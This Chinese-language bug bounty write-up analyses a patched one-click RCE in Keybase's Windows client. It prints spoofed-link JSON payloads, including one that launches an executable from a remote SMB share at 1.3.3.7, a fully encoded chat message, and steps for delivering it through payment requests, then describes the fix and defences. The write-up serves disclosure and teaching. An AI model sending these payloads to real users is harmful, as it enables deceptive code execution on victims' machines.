Bug Bounty:Keybase一键式RCE
字数 1088 2025-08-25 22:58:55

Keybase 一键式 RCE 漏洞分析与利用教学

漏洞概述

Keybase 客户端存在一个远程代码执行(RCE)漏洞,攻击者可以通过发送特制的聊天消息,诱骗受害者点击看似无害的链接,从而在受害者系统上执行任意命令。该漏洞主要影响Windows平台的Keybase客户端。

漏洞背景

Keybase简介

Keybase是一个加密的聊天和文件共享平台,具有以下特点:

  • 所有通信内容都经过加密
  • 提供云同步私人文件功能
  • 经过NCC Group的安全审计
  • 内置加密货币(Lumens/XLM)功能

漏洞发现过程

研究人员在日常使用中发现Keybase对特定格式的链接处理存在异常,经过深入分析后确认了RCE漏洞的存在。

漏洞技术细节

初始发现

研究人员发现当在聊天消息中用反引号包裹电子邮件地址时:

`email@domain.tld`

Keybase会将其转换为:

$>kb$eyJ0eXAiOjUsIm1haWx0byI6eyJkaXNwbGF5IjoiZW1haWxAZG9tYWluLnRsZCIsInVybCI6Im1haWx0bzplbWFpbEBkb21haW4udGxkIiwicHVueWNvZGUiOiIifX0=$<kb$

解码base64部分得到JSON结构:

{
  "typ": 5,
  "mailto": {
    "display": "email@domain.tld",
    "url": "mailto:email@domain.tld",
    "punycode": ""
  }
}

漏洞利用原理

通过构造特殊格式的链接,可以实现URL欺骗和RCE:

  1. URL欺骗

    {
      "typ": 4,
      "link": {
        "display": "http://shielder.it",
        "url": "http://evil.it",
        "punycode": ""
      }
    }
    

    用户看到的是http://shielder.it,实际访问的是http://evil.it

  2. RCE利用

    • 使用本地文件路径:
      {
        "typ": 4,
        "link": {
          "display": "http://shielder.it",
          "url": "C:\\windows\\system32\\calc.exe",
          "punycode": ""
        }
      }
      
    • 使用SMB共享路径:
      {
        "typ": 4,
        "link": {
          "display": "http://shielder.it",
          "url": "\\\\1.3.3.7\\tmp\\a.exe",
          "punycode": ""
        }
      }
      

最佳利用点 - Lumens支付请求

Keybase的Lumens支付功能允许设置自定义消息,这是漏洞利用的理想位置:

  1. 创建支付请求
  2. 在自定义消息中嵌入恶意构造的链接
  3. 受害者点击链接即触发RCE

漏洞复现步骤

  1. 构造恶意JSON payload:

    {
      "typ": 4,
      "link": {
        "display": "http://trusted-site.com",
        "url": "C:\\windows\\system32\\calc.exe",
        "punycode": ""
      }
    }
    
  2. 将payload进行base64编码:

    eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly90cnVzdGVkLXNpdGUuY29tIiwidXJsIjoiQzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjYWxjLmV4ZSIsInB1bnljb2RlIjoiIn19
    
  3. 构建最终消息格式:

    $>kb$eyJ0eXAiOjQsImxpbmsiOnsiZGlzcGxheSI6Imh0dHA6Ly90cnVzdGVkLXNpdGUuY29tIiwidXJsIjoiQzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjYWxjLmV4ZSIsInB1bnljb2RlIjoiIn19$<kb$
    
  4. 通过Keybase聊天或支付请求发送该消息

  5. 受害者看到的是http://trusted-site.com,点击后实际执行calc.exe

修复方案

Keybase采取了以下修复措施:

  1. 移除了display字段,不再允许自定义显示文本
  2. url字段进行严格验证:
    • 如果不是以http://https://开头,自动添加http://前缀
    • 防止使用本地文件路径或SMB路径

防御建议

  1. 对于Keybase用户:

    • 及时更新到最新版本
    • 谨慎点击聊天中的链接,特别是支付请求中的链接
  2. 对于开发者:

    • 实现URL处理时应严格验证和过滤
    • 避免使用用户提供的未经验证的数据构造可执行路径
    • 考虑实施点击链接前的警告提示

总结

该漏洞展示了即使是在经过安全审计的加密通信平台中,简单的URL处理不当也可能导致严重的RCE漏洞。攻击者可以利用此漏洞通过社交工程手段诱骗用户点击恶意链接,从而完全控制受害者的系统。这强调了在客户端应用程序中实施严格输入验证的重要性。

Keybase 一键式 RCE 漏洞分析与利用教学 漏洞概述 Keybase 客户端存在一个远程代码执行(RCE)漏洞,攻击者可以通过发送特制的聊天消息,诱骗受害者点击看似无害的链接,从而在受害者系统上执行任意命令。该漏洞主要影响Windows平台的Keybase客户端。 漏洞背景 Keybase简介 Keybase是一个加密的聊天和文件共享平台,具有以下特点: 所有通信内容都经过加密 提供云同步私人文件功能 经过NCC Group的安全审计 内置加密货币(Lumens/XLM)功能 漏洞发现过程 研究人员在日常使用中发现Keybase对特定格式的链接处理存在异常,经过深入分析后确认了RCE漏洞的存在。 漏洞技术细节 初始发现 研究人员发现当在聊天消息中用反引号包裹电子邮件地址时: Keybase会将其转换为: 解码base64部分得到JSON结构: 漏洞利用原理 通过构造特殊格式的链接,可以实现URL欺骗和RCE: URL欺骗 : 用户看到的是 http://shielder.it ,实际访问的是 http://evil.it RCE利用 : 使用本地文件路径: 使用SMB共享路径: 最佳利用点 - Lumens支付请求 Keybase的Lumens支付功能允许设置自定义消息,这是漏洞利用的理想位置: 创建支付请求 在自定义消息中嵌入恶意构造的链接 受害者点击链接即触发RCE 漏洞复现步骤 构造恶意JSON payload: 将payload进行base64编码: 构建最终消息格式: 通过Keybase聊天或支付请求发送该消息 受害者看到的是 http://trusted-site.com ,点击后实际执行 calc.exe 修复方案 Keybase采取了以下修复措施: 移除了 display 字段,不再允许自定义显示文本 对 url 字段进行严格验证: 如果不是以 http:// 或 https:// 开头,自动添加 http:// 前缀 防止使用本地文件路径或SMB路径 防御建议 对于Keybase用户: 及时更新到最新版本 谨慎点击聊天中的链接,特别是支付请求中的链接 对于开发者: 实现URL处理时应严格验证和过滤 避免使用用户提供的未经验证的数据构造可执行路径 考虑实施点击链接前的警告提示 总结 该漏洞展示了即使是在经过安全审计的加密通信平台中,简单的URL处理不当也可能导致严重的RCE漏洞。攻击者可以利用此漏洞通过社交工程手段诱骗用户点击恶意链接,从而完全控制受害者的系统。这强调了在客户端应用程序中实施严格输入验证的重要性。